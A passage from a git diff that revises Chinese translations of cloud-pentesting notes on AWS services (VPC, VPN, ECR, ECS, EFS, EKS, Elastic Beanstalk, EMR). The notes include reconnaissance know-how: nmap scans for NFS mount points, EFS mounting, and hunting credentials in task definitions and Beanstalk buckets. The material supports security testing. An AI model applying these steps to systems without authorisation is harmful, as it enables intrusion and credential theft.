日志**。 限制: -- 如果您正在运行 VPC 对等连接,则您只能查看同一账户内对等 VPC 的流量日志。 +- 如果您正在运行 VPC 对等连接,则您只能查看同一账户内对等 VPC 的流日志。 - 如果您仍在 EC2-Classic 环境中运行资源,那么不幸的是,您无法从它们的接口检索信息。 -- 一旦创建了 VPC Flow Log,就无法更改。要更改 VPC Flow Log 配置,您需要删除它,然后重新创建一个新的。 -- 以下流量不受日志监控和捕获。VPC 内的 DHCP 流量,目标为亚马逊 DNS 服务器的实例流量。 -- 任何目标为 VPC 默认路由器的 IP 地址的流量,以及与以下地址之间的流量,169.254.169.254 用于收集实例元数据,169.254.169.123 用于亚马逊时间同步服务。 +- 一旦创建了 VPC 流日志,就无法更改。要更改 VPC 流日志配置,您需要删除它,然后重新创建一个新的。 +- 以下流量不会被日志监控和捕获。VPC 内的 DHCP 流量、从实例发往亚马逊 DNS 服务器的流量。 +- 任何发往 VPC 默认路由器的 IP 地址的流量,以及与以下地址之间的流量,169.254.169.254(用于收集实例元数据)和 169.254.169.123(用于亚马逊时间同步服务)。 - 与 Windows 实例的亚马逊 Windows 激活许可证相关的流量。 - 网络负载均衡器接口与端点网络接口之间的流量。 -对于每个向 CloudWatch 日志组发布数据的网络接口,它将使用不同的日志流。在每个这些流中,将有流日志事件数据,显示日志条目的内容。每个这些 **日志在大约 10 到 15 分钟的窗口期间捕获数据**。 +对于每个向 CloudWatch 日志组发布数据的网络接口,它将使用不同的日志流。在每个日志流中,将有流日志事件数据,显示日志条目的内容。每个这些 **日志在大约 10 到 15 分钟的窗口期间捕获数据**。 ## VPN -### Basic AWS VPN Components +### 基本 AWS VPN 组件 1. **客户网关**: - 客户网关是您在 AWS 中创建的资源,用于表示您一侧的 VPN 连接。 @@ -118,22 +118,22 @@ VPC 对等连接允许您 **将两个或多个 VPC 连接在一起**,使用 IP - 您向 AWS 提供路由信息和网络设备的公共 IP 地址(如路由器或防火墙),以创建客户网关。 - 它作为设置 VPN 连接的参考点,不会产生额外费用。 2. **虚拟私有网关**: -- 虚拟私有网关(VPG)是站点到站点 VPN 连接的亚马逊侧的 VPN 集中器。 +- 虚拟私有网关(VPG)是站点到站点 VPN 连接的亚马逊一侧的 VPN 集中器。 - 它附加到您的 VPC,并作为您的 VPN 连接的目标。 - VPG 是 VPN 连接的 AWS 侧端点。 - 它处理您 VPC 与本地网络之间的安全通信。 3. **站点到站点 VPN 连接**: - 站点到站点 VPN 连接通过安全的 IPsec VPN 隧道将您的本地网络连接到 VPC。 -- 这种类型的连接需要客户网关和虚拟私有网关。 +- 这种类型的连接需要一个客户网关和一个虚拟私有网关。 - 它用于在您的数据中心或网络与您的 AWS 环境之间进行安全、稳定和一致的通信。 -- 通常用于常规、长期连接,并根据通过连接传输的数据量计费。 +- 通常用于常规、长期连接,并根据通过连接传输的数据量收费。 4. **客户端 VPN 端点**: - 客户端 VPN 端点是您在 AWS 中创建的资源,用于启用和管理客户端 VPN 会话。 - 它用于允许单个设备(如笔记本电脑、智能手机等)安全连接到 AWS 资源或您的本地网络。 - 它与站点到站点 VPN 的不同之处在于,它是为单个客户端设计的,而不是连接整个网络。 - 使用客户端 VPN,每个客户端设备使用 VPN 客户端软件建立安全连接。 -### Site-to-Site VPN +### 站点到站点 VPN **将您的本地网络与您的 VPC 连接。** @@ -142,12 +142,12 @@ VPC 对等连接允许您 **将两个或多个 VPC 连接在一起**,使用 IP 每个 VPN 连接包括两个 VPN 隧道,您可以同时使用它们以实现高可用性。 -- **客户网关**:一个 AWS 资源,向 AWS 提供有关您的客户网关设备的信息。 +- **客户网关**:一个 AWS 资源,提供有关您的客户网关设备的信息。 - **客户网关设备**:您一侧的站点到站点 VPN 连接上的物理设备或软件应用程序。 -- **虚拟私有网关**:站点到站点 VPN 连接的亚马逊侧的 VPN 集中器。您使用虚拟私有网关或传输网关作为站点到站点 VPN 连接的亚马逊侧网关。 -- **传输网关**:一个传输中心,可用于互连您的 VPC 和本地网络。您使用传输网关或虚拟私有网关作为站点到站点 VPN 连接的亚马逊侧网关。 +- **虚拟私有网关**:站点到站点 VPN 连接的亚马逊一侧的 VPN 集中器。您使用虚拟私有网关或传输网关作为站点到站点 VPN 连接的亚马逊一侧的网关。 +- **传输网关**:一个传输中心,可用于互连您的 VPC 和本地网络。您使用传输网关或虚拟私有网关作为站点到站点 VPN 连接的亚马逊一侧的网关。 -#### Limitations +#### 限制 - 虚拟私有网关不支持 VPN 连接的 IPv6 流量。 - AWS VPN 连接不支持路径 MTU 发现。 @@ -156,30 +156,30 @@ VPC 对等连接允许您 **将两个或多个 VPC 连接在一起**,使用 IP - 当将您的 VPC 连接到公共本地网络时,我们建议您为您的网络使用不重叠的 CIDR 块。 -### Client VPN +### 客户端 VPN **从您的机器连接到您的 VPC** -#### Concepts +#### 概念 - **客户端 VPN 端点**:您创建和配置的资源,以启用和管理客户端 VPN 会话。它是所有客户端 VPN 会话终止的资源。 - **目标网络**:目标网络是您与客户端 VPN 端点关联的网络。**VPC 的一个子网是目标网络**。将子网与客户端 VPN 端点关联使您能够建立 VPN 会话。您可以将多个子网与客户端 VPN 端点关联以实现高可用性。所有子网必须来自同一 VPC。每个子网必须属于不同的可用区。 -- **路由**:每个客户端 VPN 端点都有一个路由表,描述可用的目标网络路由。路由表中的每个路由指定特定资源或网络的流量路径。 +- **路由**:每个客户端 VPN 端点都有一个路由表,描述可用的目标网络路由。路由表中的每条路由指定特定资源或网络的流量路径。 - **授权规则**:授权规则 **限制可以访问网络的用户**。对于指定的网络,您配置允许访问的活动目录或身份提供者(IdP)组。只有属于该组的用户才能访问指定的网络。**默认情况下,没有授权规则**,您必须配置授权规则以使用户能够访问资源和网络。 - **客户端**:连接到客户端 VPN 端点以建立 VPN 会话的最终用户。最终用户需要下载 OpenVPN 客户端,并使用您创建的客户端 VPN 配置文件建立 VPN 会话。 -- **客户端 CIDR 范围**:用于分配客户端 IP 地址的 IP 地址范围。每个连接到客户端 VPN 端点的连接都从客户端 CIDR 范围中分配一个唯一的 IP 地址。您选择客户端 CIDR 范围,例如 `10.2.0.0/16`。 +- **客户端 CIDR 范围**:用于分配客户端 IP 地址的 IP 地址范围。每个连接到客户端 VPN 端点的连接都分配一个来自客户端 CIDR 范围的唯一 IP 地址。您选择客户端 CIDR 范围,例如 `10.2.0.0/16`。 - **客户端 VPN 端口**:AWS 客户端 VPN 支持端口 443 和 1194 的 TCP 和 UDP。默认是端口 443。 - **客户端 VPN 网络接口**:当您将子网与客户端 VPN 端点关联时,我们会在该子网中创建客户端 VPN 网络接口。**从客户端 VPN 端点发送到 VPC 的流量通过客户端 VPN 网络接口发送**。然后应用源网络地址转换(SNAT),将客户端 CIDR 范围中的源 IP 地址转换为客户端 VPN 网络接口 IP 地址。 -- **连接日志**:您可以为客户端 VPN 端点启用连接日志以记录连接事件。您可以使用此信息进行取证,分析客户端 VPN 端点的使用情况或调试连接问题。 -- **自助服务门户**:您可以为客户端 VPN 端点启用自助服务门户。客户端可以使用其凭据登录基于 Web 的门户,并下载客户端 VPN 端点配置文件的最新版本,或 AWS 提供的客户端的最新版本。 +- **连接日志**:您可以为客户端 VPN 端点启用连接日志,以记录连接事件。您可以使用此信息进行取证,分析客户端 VPN 端点的使用情况或调试连接问题。 +- **自助服务门户**:您可以为客户端 VPN 端点启用自助服务门户。客户端可以使用其凭据登录基于 Web 的门户,下载客户端 VPN 端点配置文件的最新版本,或下载 AWS 提供的客户端的最新版本。 -#### Limitations +#### 限制 -- **客户端 CIDR 范围不能与关联子网所在 VPC 的本地 CIDR 重叠**,或与手动添加到客户端 VPN 端点路由表的任何路由重叠。 +- **客户端 CIDR 范围不能与关联子网所在 VPC 的本地 CIDR 重叠**,也不能与手动添加到客户端 VPN 端点路由表的任何路由重叠。 - 客户端 CIDR 范围的块大小必须至少为 **/22**,且 **不得大于 /12**。 -- 客户端 CIDR 范围中的 **一部分地址** 用于 **支持客户端 VPN 端点的可用性** 模型,不能分配给客户端。因此,我们建议您 **分配一个包含所需的最大并发连接数的两倍 IP 地址的 CIDR 块**,以支持您计划在客户端 VPN 端点上支持的最大并发连接数。 -- 创建客户端 VPN 端点后,**客户端 CIDR 范围无法更改**。 -- 与客户端 VPN 端点关联的 **子网必须在同一 VPC 中**。 +- 客户端 CIDR 范围中的 **一部分地址** 用于 **支持客户端 VPN 端点的可用性** 模型,不能分配给客户端。因此,我们建议您 **分配一个包含所需最大并发连接数两倍的 IP 地址的 CIDR 块**,以支持您计划在客户端 VPN 端点上支持的最大并发连接数。 +- 创建客户端 VPN 端点后,**客户端 CIDR 范围不能更改**。 +- 与客户端 VPN 端点关联的 **子网** **必须在同一 VPC 中**。 - 您 **不能将来自同一可用区的多个子网与客户端 VPN 端点关联**。 - 客户端 VPN 端点 **不支持专用租用 VPC 中的子网关联**。 - 客户端 VPN 仅支持 **IPv4** 流量。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index f8568e5b5..c593ccf71 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -18,21 +18,21 @@ ECR 由两种类型的对象组成:**注册表**和**仓库**。 1. **私有注册表**: -- **默认私有**:存储在 Amazon ECR 私有注册表中的容器镜像 **仅对您 AWS 账户内的授权用户** 或已获得权限的用户可访问。 +- **默认私有**:存储在 Amazon ECR 私有注册表中的容器镜像 **仅对您 AWS 账户内的授权用户可访问**,或对那些被授予权限的用户可访问。 - **私有仓库**的 URI 格式为 `.dkr.ecr..amazonaws.com/` - **访问控制**:您可以使用 **IAM 策略**来 **控制对私有容器镜像的访问**,并可以根据用户或角色配置细粒度权限。 -- **与 AWS 服务的集成**:Amazon ECR 私有注册表可以轻松与其他 AWS 服务集成,如 EKS、ECS... +- **与 AWS 服务的集成**:Amazon ECR 私有注册表可以轻松 **与其他 AWS 服务集成**,如 EKS、ECS... - **其他私有注册表选项**: -- 标签不可变性列显示其状态,如果启用标签不可变性,它将 **防止** 使用 **已存在标签** 的镜像 **推送** 覆盖镜像。 -- **加密类型**列列出仓库的加密属性,显示默认加密类型,如 AES-256,或启用 **KMS** 加密。 +- 标签不可变性列显示其状态,如果启用了标签不可变性,它将 **防止** 使用 **已存在标签** 的镜像 **推送** 覆盖镜像。 +- **加密类型**列列出仓库的加密属性,显示默认的加密类型,如 AES-256,或启用了 **KMS** 加密。 - **拉取缓存**列显示其状态,如果拉取缓存状态为活动,它将把 **外部公共仓库中的仓库缓存到您的私有仓库**。 -- 可以配置特定的 **IAM 策略**以授予不同的 **权限**。 +- 可以配置特定的 **IAM 策略** 来授予不同的 **权限**。 - **扫描配置**允许扫描存储在仓库中的镜像中的漏洞。 2. **公共注册表**: -- **公共可访问性**:存储在 ECR 公共注册表中的容器镜像 **对互联网的任何人可访问,无需身份验证**。 -- **公共仓库**的 URI 类似于 `public.ecr.aws//`。虽然 `` 部分可以由管理员更改为更易记的字符串。 +- **公共可访问性**:存储在 ECR 公共注册表中的容器镜像 **对互联网上的任何人可访问,无需身份验证**。 +- **公共仓库**的 URI 类似于 `public.ecr.aws//`。虽然 `` 部分可以由管理员更改为更容易记住的字符串。 **仓库** @@ -81,7 +81,7 @@ aws ecr get-repository-policy --repository-name ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### 利用后 +#### 后期利用 {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 1e47ff3b4..149798978 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,24 +6,24 @@ ### 基本信息 -亚马逊 **弹性容器服务**(ECS)提供了一个 **在云中托管容器化应用程序** 的平台。ECS 有两种 **部署** 方法,**EC2** 实例类型和 **无服务器** 选项 **Fargate**。该服务 **使在云中运行容器变得非常简单且无痛**。 +Amazon **Elastic Container Services** 或 ECS 提供了一个 **在云中托管容器化应用程序** 的平台。ECS 有两种 **部署** 方法,**EC2** 实例类型和 **无服务器** 选项 **Fargate**。该服务 **使在云中运行容器变得非常简单和无痛**。 -ECS 使用以下三个构建块进行操作:**集群**、**服务** 和 **任务定义**。 +ECS 使用以下三个构建块进行操作:**集群**、**服务**和 **任务定义**。 -- **集群** 是 **在云中运行的容器组**。如前所述,容器有两种启动类型,EC2 和 Fargate。AWS 将 **EC2** 启动类型定义为允许客户“在他们 **管理** 的 Amazon EC2 实例集群上运行他们的容器化应用程序”。**Fargate** 类似,被定义为“\[允许\] 您运行您的容器化应用程序 **而无需配置和管理** 后端基础设施”。 -- **服务** 在集群内创建,负责 **运行任务**。在服务定义中 **您定义要运行的任务数量、自动扩展、容量提供者(Fargate/EC2/External)、** **网络** 信息,如 VPC、子网和安全组。 +- **集群**是 **在云中运行的容器组**。如前所述,容器有两种启动类型,EC2 和 Fargate。AWS 将 **EC2** 启动类型定义为允许客户“在他们 **管理** 的 Amazon EC2 实例集群上运行他们的容器化应用程序”。**Fargate** 类似,被定义为“\[允许]您运行您的容器化应用程序 **而无需配置和管理** 后端基础设施”。 +- **服务**是在集群内创建的,负责 **运行任务**。在服务定义中 **您定义要运行的任务数量、自动扩展、容量提供者 (Fargate/EC2/External)**、**网络** 信息,如 VPC、子网和安全组。 - 有 **2 种类型的应用程序**: - **服务**:处理可以停止和重新启动的长期计算工作的任务组。例如,一个 web 应用程序。 - **任务**:独立运行并终止的任务。例如,一个批处理作业。 - 在服务应用程序中,有 **2 种类型的服务调度器**: -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):副本调度策略在您的集群中放置并 **维护所需数量** 的任务。如果由于某种原因任务关闭,则在同一或不同节点上启动一个新任务。 +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):副本调度策略在您的集群中放置并 **维护所需数量** 的任务。如果由于某种原因任务关闭,则会在同一节点或不同节点上启动一个新任务。 - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):在每个具有所需要求的活动容器实例上部署一个任务。无需指定所需的任务数量、任务放置策略或使用服务自动扩展策略。 - **任务定义** 负责 **定义将运行的容器** 以及与容器配置的各种参数,如 **与主机的端口映射**、**环境变量**、Docker **入口点**... - 检查 **环境变量以获取敏感信息**! ### 任务定义中的敏感数据 -任务定义负责 **配置将在 ECS 中运行的实际容器**。由于任务定义定义了容器的运行方式,因此可以找到大量信息。 +任务定义负责 **配置将在 ECS 中运行的实际容器**。由于任务定义定义了容器的运行方式,因此可以在其中找到大量信息。 Pacu 可以枚举 ECS(list-clusters、list-container-instances、list-services、list-task-definitions),它还可以转储任务定义。 @@ -65,7 +65,7 @@ aws ecs describe-task-definition --task-definition : ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### 利用后 +### 后期利用 {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index b890442d2..8255793d7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -8,11 +8,11 @@ Amazon Elastic File System (EFS) 被 AWS 视为一个 **完全托管、可扩展和弹性的网络文件系统**。该服务便于创建和配置 **文件系统**,这些文件系统可以被多个 EC2 实例和其他 AWS 服务同时访问。EFS 的主要特点包括能够在无需人工干预的情况下自动扩展,提供低延迟访问,支持高吞吐量工作负载,保证数据持久性,并与各种 AWS 安全机制无缝集成。 -默认情况下,EFS 挂载的文件夹将是 **`/`**,但它可以有 **不同的名称**。 +默认情况下,EFS 挂载的文件夹将是 **`/`**,但它可能有 **不同的名称**。 ### 网络访问 -EFS 是在 VPC 中创建的,默认情况下可以 **在所有 VPC 子网中访问**。然而,EFS 将具有一个安全组。为了 **允许 EC2**(或任何其他 AWS 服务)挂载 EFS,需要 **在 EFS 安全组中允许来自 EC2 安全组的入站 NFS**(2049 端口)**规则**。 +EFS 在 VPC 中创建,**默认情况下在所有 VPC 子网中可访问**。然而,EFS 将具有一个安全组。为了 **允许 EC2**(或任何其他 AWS 服务)挂载 EFS,需要 **在 EFS 安全组中允许来自 EC2 安全组的入站 NFS**(2049 端口)**规则**。 没有这个,您 **将无法联系 NFS 服务**。 @@ -39,9 +39,9 @@ aws efs describe-replication-configurations sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` > [!CAUTION] -> EFS挂载点可能在同一个VPC内,但在不同的子网中。如果您想确保找到所有**EFS点,最好扫描`/16`子网掩码**。 +> EFS挂载点可能在同一个VPC内,但在不同的子网中。如果你想确保找到所有**EFS点,最好扫描`/16`子网掩码**。 -### Mount EFS +### 挂载EFS ```bash sudo mkdir /efs @@ -57,8 +57,8 @@ sudo mount -t efs :/ /efs/ ``` ### IAM 访问 -默认情况下,任何具有对 EFS 的网络访问的人都能够挂载、读取和写入它,即使是根用户。然而,文件系统策略可能会限制**仅允许具有特定权限的主体**访问它。\ -例如,如果您**没有 IAM 权限**,则此文件系统策略**甚至不允许挂载**文件系统: +默认情况下,任何具有对 EFS 的网络访问权限的人都能够挂载、读取和写入它,即使是根用户。然而,文件系统策略可能会限制仅允许具有特定权限的主体访问它。\ +例如,如果您没有 IAM 权限,这个文件系统策略将**不允许挂载**文件系统: ```json { "Version": "2012-10-17", @@ -92,9 +92,9 @@ sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` -### Access Points +### 访问点 -**访问点**是**特定于应用程序**的入口点**进入EFS文件系统**,使管理应用程序对共享数据集的访问变得更容易。 +**访问点**是**特定于应用程序**的入口点**进入EFS文件系统**,使管理应用程序对共享数据集的访问变得更加容易。 当您创建访问点时,您可以**指定通过访问点创建的文件和目录的所有者和POSIX权限**。您还可以**为访问点定义自定义根目录**,可以通过指定现有目录或创建一个具有所需权限的新目录来实现。这使您能够**按应用程序或用户控制对EFS文件系统的访问**,从而更容易管理和保护您的共享文件数据。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 3102a382f..dbc1dd90d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,14 +4,14 @@ ## EKS -亚马逊弹性Kubernetes服务(Amazon EKS)旨在消除用户安装、操作和管理自己的Kubernetes控制平面或节点的需求。相反,Amazon EKS 管理这些组件,提供了一种简化的方式来在AWS上使用Kubernetes部署、管理和扩展容器化应用程序。 +Amazon Elastic Kubernetes Service (Amazon EKS) 旨在消除用户安装、操作和管理自己的 Kubernetes 控制平面或节点的需求。相反,Amazon EKS 管理这些组件,提供了一种简化的方式在 AWS 上使用 Kubernetes 部署、管理和扩展容器化应用程序。 -Amazon EKS的关键方面包括: +Amazon EKS 的关键方面包括: -1. **托管Kubernetes控制平面**:Amazon EKS自动化关键任务,如修补、节点配置和更新。 -2. **与AWS服务的集成**:它与计算、存储、数据库和安全的AWS服务无缝集成。 -3. **可扩展性和安全性**:Amazon EKS旨在高度可用和安全,提供自动扩展和设计隔离等功能。 -4. **与Kubernetes的兼容性**:在Amazon EKS上运行的应用程序与在任何标准Kubernetes环境中运行的应用程序完全兼容。 +1. **托管的 Kubernetes 控制平面**:Amazon EKS 自动化关键任务,如修补、节点配置和更新。 +2. **与 AWS 服务的集成**:它与计算、存储、数据库和安全的 AWS 服务无缝集成。 +3. **可扩展性和安全性**:Amazon EKS 旨在高度可用和安全,提供自动扩展和设计隔离等功能。 +4. **与 Kubernetes 的兼容性**:在 Amazon EKS 上运行的应用程序与在任何标准 Kubernetes 环境中运行的应用程序完全兼容。 #### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 517964bf7..b7ec2f82d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,11 +4,11 @@ ## Elastic Beanstalk -亚马逊 Elastic Beanstalk 提供了一个简化的平台,用于 **部署、管理和扩展 Web 应用程序和服务**。它支持多种编程语言和框架,如 Java、.NET、PHP、Node.js、Python、Ruby 和 Go,以及 Docker 容器。该服务与广泛使用的服务器兼容,包括 Apache、Nginx、Passenger 和 IIS。 +Amazon Elastic Beanstalk 提供了一个简化的平台,用于 **部署、管理和扩展 web 应用程序和服务**。它支持多种编程语言和框架,如 Java、.NET、PHP、Node.js、Python、Ruby 和 Go,以及 Docker 容器。该服务与广泛使用的服务器兼容,包括 Apache、Nginx、Passenger 和 IIS。 -Elastic Beanstalk 提供了一种简单灵活的方式来 **将您的应用程序部署到 AWS 云**,无需担心底层基础设施。它 **自动** 处理容量 **配置**、负载 **均衡**、**扩展** 和应用程序健康 **监控** 的细节,让您专注于编写和部署代码。 +Elastic Beanstalk 提供了一种简单灵活的方式来 **将您的应用程序部署到 AWS 云**,无需担心底层基础设施。它 **自动** 处理容量 **配置**、负载 **均衡**、**扩展** 和应用程序健康 **监控** 的细节,让您可以专注于编写和部署代码。 -Elastic Beanstalk 创建的基础设施由 **自动扩展** 组在 **EC2** 中管理(带有负载均衡器)。这意味着,最终,如果您 **妥协主机**,您应该了解 EC2: +Elastic Beanstalk 创建的基础设施由 **Autoscaling** 组在 **EC2** 中管理(带有负载均衡器)。这意味着,如果您 **妥协主机**,您应该了解 EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -26,19 +26,19 @@ aws-eks-enum.md #### 应用程序 -- Elastic Beanstalk 中的应用程序是一个 **逻辑容器,用于存放您的应用程序源代码、环境和配置**。它将不同版本的应用程序代码组合在一起,并允许您将其作为一个实体进行管理。 -- 创建应用程序时,您提供一个名称和 **描述,但此时不会配置任何资源**。这只是组织和管理代码及相关资源的一种方式。 +- Elastic Beanstalk 中的应用程序是 **您应用程序源代码、环境和配置的逻辑容器**。它将不同版本的应用程序代码组合在一起,并允许您将其作为一个实体进行管理。 +- 创建应用程序时,您提供一个名称和 **描述,但在此阶段没有资源被配置**。这只是组织和管理代码及相关资源的一种方式。 - 您可以在一个应用程序中拥有 **多个应用程序版本**。每个版本对应于代码的特定发布,可以部署到一个或多个环境中。 #### 环境 -- 环境是一个 **在 AWS 基础设施上运行的应用程序的配置实例**。它是 **您的应用程序代码被部署和执行的地方**。Elastic Beanstalk 根据环境配置配置所需的资源(例如,EC2 实例、负载均衡器、自动扩展组、数据库)。 -- **每个环境运行您应用程序的单个版本**,您可以为不同的目的(例如开发、测试、预发布和生产)拥有多个环境。 -- 创建环境时,您选择一个平台(例如 Java、.NET、Node.js 等)和环境类型(例如 Web 服务器或工作者)。您还可以自定义环境配置,以控制基础设施和应用程序设置的各个方面。 +- 环境是 **在 AWS 基础设施上运行的应用程序的配置实例**。它是 **您的应用程序代码被部署和执行的地方**。Elastic Beanstalk 根据环境配置配置必要的资源(例如,EC2 实例、负载均衡器、自动扩展组、数据库)。 +- **每个环境运行您应用程序的单个版本**,您可以为不同的目的(如开发、测试、预发布和生产)拥有多个环境。 +- 创建环境时,您选择一个平台(例如,Java、.NET、Node.js 等)和环境类型(例如,Web 服务器或工作者)。您还可以自定义环境配置,以控制基础设施和应用程序设置的各个方面。 ### 2 种环境类型 -1. **Web 服务器环境**:旨在 **托管和提供 Web 应用程序和 API**。这些应用程序通常处理传入的 HTTP/HTTPS 请求。Web 服务器环境配置资源,如 **EC2 实例、负载均衡器和自动扩展** 组,以处理传入流量、管理容量并确保应用程序的高可用性。 +1. **Web 服务器环境**:旨在 **托管和提供 web 应用程序和 API**。这些应用程序通常处理传入的 HTTP/HTTPS 请求。Web 服务器环境配置资源,如 **EC2 实例、负载均衡器和自动扩展** 组,以处理传入流量、管理容量并确保应用程序的高可用性。 2. **工作者环境**:旨在处理 **后台任务**,这些任务通常是耗时或资源密集型的操作,不需要立即响应客户端。工作者环境配置资源,如 **EC2 实例和自动扩展组**,但它 **没有负载均衡器**,因为它不直接处理 HTTP/HTTPS 请求。相反,它从 **Amazon Simple Queue Service (SQS) 队列** 中消费任务,该队列充当工作者环境与其处理的任务之间的缓冲区。 ### 安全 @@ -49,7 +49,7 @@ aws-eks-enum.md - **IAM 实例配置文件**:这是实例将拥有的 **实例配置文件**(**IAM 权限**)。 - 自动生成的角色称为 **`aws-elasticbeanstalk-ec2-role`**,并对所有 ECS、所有 SQS、DynamoDB elasticbeanstalk 和 elasticbeanstalk S3 拥有一些有趣的访问权限,使用 AWS 管理的策略:[AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier)、[AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker)、[AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier)。 - **服务角色**:这是 **AWS 服务** 将用于执行所有所需操作的 **角色**。据我所知,普通 AWS 用户无法访问该角色。 -- AWS 生成的角色称为 **`aws-elasticbeanstalk-service-role`**,并使用 AWS 管理的策略 [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) 和 [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- AWS 生成的此角色称为 **`aws-elasticbeanstalk-service-role`**,并使用 AWS 管理的策略 [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) 和 [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) 默认情况下 **元数据版本 1 被禁用**: @@ -57,9 +57,9 @@ aws-eks-enum.md ### 暴露 -Beanstalk 数据存储在一个 **S3 存储桶** 中,名称为 **`elasticbeanstalk--`**(如果是在 AWS 控制台中创建的)。在此存储桶中,您将找到上传的 **应用程序源代码**。 +Beanstalk 数据存储在名为 **`elasticbeanstalk--`** 的 **S3 存储桶** 中(如果是在 AWS 控制台中创建的)。在此存储桶中,您将找到上传的 **应用程序源代码**。 -创建的网页的 **URL** 为 **`http://-env...elasticbeanstalk.com/`** +创建的网页的 **URL** 是 **`http://-env...elasticbeanstalk.com/`** > [!WARNING] > 如果您获得 **读取访问权限**,您可以 **读取源代码**,甚至找到 **敏感凭据**。 @@ -102,7 +102,7 @@ aws elasticbeanstalk describe-events ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### 利用后的操作 +### 后期利用 {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index eb00aa2d7..d88373866 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache 是一个完全**托管的内存数据存储和缓存服务**,为应用程序提供高性能、低延迟和可扩展的解决方案。它支持两个流行的开源内存引擎:**Redis 和 Memcached**。ElastiCache **简化**了这些引擎的**设置**、**管理**和**维护**,使开发人员能够卸载诸如配置、打补丁、监控和**备份**等耗时任务。 +AWS ElastiCache 是一个完全**托管的内存数据存储和缓存服务**,为应用程序提供高性能、低延迟和可扩展的解决方案。它支持两种流行的开源内存引擎:**Redis 和 Memcached**。ElastiCache **简化**了这些引擎的**设置**、**管理**和**维护**,使开发人员能够卸载诸如配置、打补丁、监控和**备份**等耗时任务。 ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 22bcfb484..fbdc644dd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,32 +4,32 @@ ## EMR -AWS的弹性MapReduce(EMR)服务,从版本4.8.0开始,引入了**安全配置**功能,通过允许用户为EMR集群中的静态和动态数据指定加密设置,从而增强数据保护。EMR集群是可扩展的EC2实例组,旨在处理大数据框架,如Apache Hadoop和Spark。 +AWS的弹性MapReduce (EMR) 服务,从版本4.8.0开始,引入了**安全配置**功能,通过允许用户为EMR集群中的静态和动态数据指定加密设置,增强了数据保护。EMR集群是可扩展的EC2实例组,旨在处理大数据框架,如Apache Hadoop和Spark。 主要特点包括: - **集群加密默认**:默认情况下,集群内的静态数据未加密。然而,启用加密可以访问多个功能: -- **Linux统一密钥设置**:加密EBS集群卷。用户可以选择AWS密钥管理服务(KMS)或自定义密钥提供者。 +- 